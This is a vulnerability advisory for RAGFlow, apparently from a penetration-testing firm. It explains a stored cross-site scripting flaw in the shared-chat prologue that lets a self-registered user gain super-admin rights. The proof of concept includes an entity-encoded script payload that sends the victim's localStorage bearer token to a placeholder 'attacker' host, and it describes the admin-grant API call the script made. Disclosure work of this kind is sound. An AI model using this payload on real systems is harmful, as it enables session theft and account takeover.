RAGFlow: Stored XSS in the Chat Prologue Leads to Super-Admin Takeover

A registered user stores a script in the prologue of a shared chat; when a super admin opens the share link, the attacker's account receives super-admin rights.

Advisory ID: TP-2026-166
Product: RAGFlow (open-source RAG engine with chat and agent interface)
Vulnerability type: Stored cross-site scripting (CWE-79)
CVE: not requested
CVSS 3.1: 9.0 (Critical) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Affected versions: before 0.27.1 (verified live: 0.25.4)
Fixed in: 0.27.1
Reported: 14 May 2026

Summary

RAGFlow is an open-source RAG engine whose chat assistants can be shared through a link or a widget. The greeting text of an assistant (prompt_config.prologue) is rendered as the first message of every shared session, as Markdown with raw HTML. The DOMPurify pass runs before a step that turns HTML entities back into characters, and the widget has no such pass at all. A self-registered user stores a script this way, and it runs in the RAGFlow origin in the browser of every visitor of the share link. When a super admin opens the link, the script uses that session to grant super-admin rights to the attacker's account.

Root cause

In version 0.25.4, to which all line numbers refer, preprocessLaTeX converts &lt;, &gt; and &amp; back into the characters <, > and & (web/src/utils/chat.ts:58-79).
MarkdownContent calls DOMPurify.sanitize before that step, so an entity-encoded <svg><script> passes the check as text, becomes markup afterwards and is parsed into real nodes by rehypeRaw (web/src/components/markdown-content/index.tsx:66-77).
FloatingChatWidgetMarkdown omits DOMPurify entirely and renders raw HTML directly (web/src/components/floating-chat-widget-markdown.tsx:67-71).
POST /api/v1/chats accepts an arbitrary prompt_config because the call to _validate_prompt_config is commented out (api/apps/restful_apis/chat_api.py:290-295).
The bearer token lives in localStorage and is therefore readable by the script (web/src/utils/authorization-util.ts:50-57), and the default installation sets no Content Security Policy.

Proof of Concept

POST /api/v1/chats HTTP/1.1
Content-Type: application/json

{"name":"xss","prompt_config":{"system":"sys","prologue":"PWN &lt;svg&gt;&lt;script&gt;document.title=\"PWNED-\"+document.domain;fetch(\"http://attacker/?t=\"+localStorage.getItem(\"Authorization\"))&lt;/script&gt;&lt;/svg&gt;","parameters":[],"empty_response":""}}

POST /api/v1/system/tokens HTTP/1.1

http://<host>/chats/share?shared_id=<DIALOG_ID>&from=chat&auth=<BETA_TOKEN>

DOMPurify sees the prologue as plain text, preprocessLaTeX turns it into <svg><script>, and the script runs when the share page loads, without a further click. Verified on RAGFlow 0.25.4 in the default Docker Compose setup: the page title changed to PWNED-localhost; on /chats/widget the same payload works without entity encoding. With the session of the default admin the script called PUT /api/v1/admin/users/<attacker email>/admin, the response was Grant successfully!, and is_superuser of the attacker account was 1 afterwards.

Impact

  • JavaScript execution in the RAGFlow origin for everyone who opens the share link or the widget.
  • Reading the bearer token from localStorage and API access with the victim's session.
  • When a super admin opens the link, the attacker account receives super-admin rights and then manages users, passwords, roles and services of the instance.
  • The attacker needs only a self-registered account; registration is open in the default configuration (REGISTER_ENABLED=1).

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.